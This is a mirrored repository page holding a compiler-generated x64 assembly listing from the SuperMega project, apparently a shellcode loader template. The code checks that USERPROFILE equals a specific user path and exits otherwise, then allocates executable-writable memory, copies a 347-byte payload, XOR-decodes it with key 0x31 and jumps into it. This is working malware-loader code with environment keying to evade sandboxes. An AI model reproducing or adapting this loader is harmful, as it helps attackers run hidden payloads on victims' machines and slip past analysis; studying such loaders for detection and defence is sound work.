mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
Dobin
190 lines
4.0 KiB
NASM
190 lines
4.0 KiB
NASM
; Listing generated by Microsoft (R) Optimizing Compiler Version 19.37.32822.0
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include listing.inc
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INCLUDELIB LIBCMT
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INCLUDELIB OLDNAMES
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_DATA SEGMENT
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COMM supermega_payload:QWORD
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_DATA ENDS
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PUBLIC main
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PUBLIC mystrcmp
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EXTRN __imp_GetEnvironmentVariableW:PROC
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EXTRN __imp_VirtualAlloc:PROC
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pdata SEGMENT
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$pdata$main DD imagerel $LN8
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DD imagerel $LN8+266
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DD imagerel $unwind$main
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$pdata$mystrcmp DD imagerel $LN6
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DD imagerel $LN6+109
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DD imagerel $unwind$mystrcmp
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pdata ENDS
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_DATA SEGMENT
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$SG72513 DB 'U', 00H, 'S', 00H, 'E', 00H, 'R', 00H, 'P', 00H, 'R', 00H
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DB 'O', 00H, 'F', 00H, 'I', 00H, 'L', 00H, 'E', 00H, 00H, 00H
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$SG72514 DB 'C', 00H, ':', 00H, '\', 00H, 'U', 00H, 's', 00H, 'e', 00H
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DB 'r', 00H, 's', 00H, '\', 00H, 'h', 00H, 'a', 00H, 'c', 00H, 'k'
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DB 00H, 'e', 00H, 'r', 00H, 00H, 00H
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_DATA ENDS
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xdata SEGMENT
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$unwind$main DD 040a01H
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DD 010f010aH
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DD 060027003H
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$unwind$mystrcmp DD 010e01H
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DD 0220eH
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xdata ENDS
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; Function compile flags: /Odtp
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_TEXT SEGMENT
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i$ = 0
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str1$ = 32
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str2$ = 40
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mystrcmp PROC
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; File C:\Users\hacker\source\repos\supermega\build\main.c
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; Line 40
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$LN6:
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mov QWORD PTR [rsp+16], rdx
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mov QWORD PTR [rsp+8], rcx
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sub rsp, 24
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; Line 41
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mov DWORD PTR i$[rsp], 0
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$LN2@mystrcmp:
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; Line 42
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movsxd rax, DWORD PTR i$[rsp]
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mov rcx, QWORD PTR str1$[rsp]
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movzx eax, WORD PTR [rcx+rax*2]
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test eax, eax
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je SHORT $LN3@mystrcmp
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movsxd rax, DWORD PTR i$[rsp]
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mov rcx, QWORD PTR str2$[rsp]
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movzx eax, WORD PTR [rcx+rax*2]
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test eax, eax
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je SHORT $LN3@mystrcmp
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; Line 43
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movsxd rax, DWORD PTR i$[rsp]
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mov rcx, QWORD PTR str1$[rsp]
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movzx eax, WORD PTR [rcx+rax*2]
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movsxd rcx, DWORD PTR i$[rsp]
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mov rdx, QWORD PTR str2$[rsp]
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movzx ecx, WORD PTR [rdx+rcx*2]
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cmp eax, ecx
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je SHORT $LN4@mystrcmp
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; Line 44
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mov eax, 1
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jmp SHORT $LN1@mystrcmp
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$LN4@mystrcmp:
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; Line 46
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mov eax, DWORD PTR i$[rsp]
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inc eax
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mov DWORD PTR i$[rsp], eax
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; Line 47
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jmp SHORT $LN2@mystrcmp
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$LN3@mystrcmp:
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; Line 48
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xor eax, eax
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$LN1@mystrcmp:
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; Line 49
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add rsp, 24
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ret 0
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mystrcmp ENDP
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_TEXT ENDS
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; Function compile flags: /Odtp
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_TEXT SEGMENT
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n$1 = 32
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dest$ = 40
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result$ = 48
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envVarName$ = 56
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tocheck$ = 80
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buffer$ = 112
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main PROC
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; File C:\Users\hacker\source\repos\supermega\build\main.c
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; Line 6
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$LN8:
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push rsi
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push rdi
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sub rsp, 2168 ; 00000878H
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; Line 10
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lea rax, QWORD PTR envVarName$[rsp]
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lea rcx, OFFSET FLAT:$SG72513
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mov rdi, rax
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mov rsi, rcx
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mov ecx, 24
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rep movsb
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; Line 11
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lea rax, QWORD PTR tocheck$[rsp]
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lea rcx, OFFSET FLAT:$SG72514
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mov rdi, rax
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mov rsi, rcx
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mov ecx, 32 ; 00000020H
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rep movsb
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; Line 13
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mov r8d, 1024 ; 00000400H
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lea rdx, QWORD PTR buffer$[rsp]
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lea rcx, QWORD PTR envVarName$[rsp]
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call QWORD PTR __imp_GetEnvironmentVariableW
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mov DWORD PTR result$[rsp], eax
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; Line 14
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cmp DWORD PTR result$[rsp], 0
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jne SHORT $LN5@main
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; Line 15
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mov eax, 6
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jmp $LN1@main
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$LN5@main:
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; Line 17
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lea rdx, QWORD PTR tocheck$[rsp]
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lea rcx, QWORD PTR buffer$[rsp]
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call mystrcmp
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test eax, eax
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je SHORT $LN6@main
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; Line 18
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mov eax, 6
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jmp SHORT $LN1@main
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$LN6@main:
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; Line 23
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mov r9d, 64 ; 00000040H
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mov r8d, 12288 ; 00003000H
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mov edx, 347 ; 0000015bH
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xor ecx, ecx
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call QWORD PTR __imp_VirtualAlloc
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mov QWORD PTR dest$[rsp], rax
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; Line 29
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mov DWORD PTR n$1[rsp], 0
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jmp SHORT $LN4@main
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$LN2@main:
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mov eax, DWORD PTR n$1[rsp]
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inc eax
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mov DWORD PTR n$1[rsp], eax
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$LN4@main:
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cmp DWORD PTR n$1[rsp], 347 ; 0000015bH
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jge SHORT $LN3@main
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; Line 30
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movsxd rax, DWORD PTR n$1[rsp]
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movsxd rcx, DWORD PTR n$1[rsp]
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mov rdx, QWORD PTR dest$[rsp]
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mov rdi, QWORD PTR supermega_payload
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movzx eax, BYTE PTR [rdi+rax]
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mov BYTE PTR [rdx+rcx], al
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; Line 31
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movsxd rax, DWORD PTR n$1[rsp]
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mov rcx, QWORD PTR dest$[rsp]
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movsx eax, BYTE PTR [rcx+rax]
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xor eax, 49 ; 00000031H
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movsxd rcx, DWORD PTR n$1[rsp]
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mov rdx, QWORD PTR dest$[rsp]
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mov BYTE PTR [rdx+rcx], al
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; Line 32
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jmp SHORT $LN2@main
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$LN3@main:
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; Line 35
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call QWORD PTR dest$[rsp]
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; Line 37
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xor eax, eax
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$LN1@main:
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; Line 38
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add rsp, 2168 ; 00000878H
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pop rdi
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pop rsi
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ret 0
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main ENDP
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_TEXT ENDS
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END |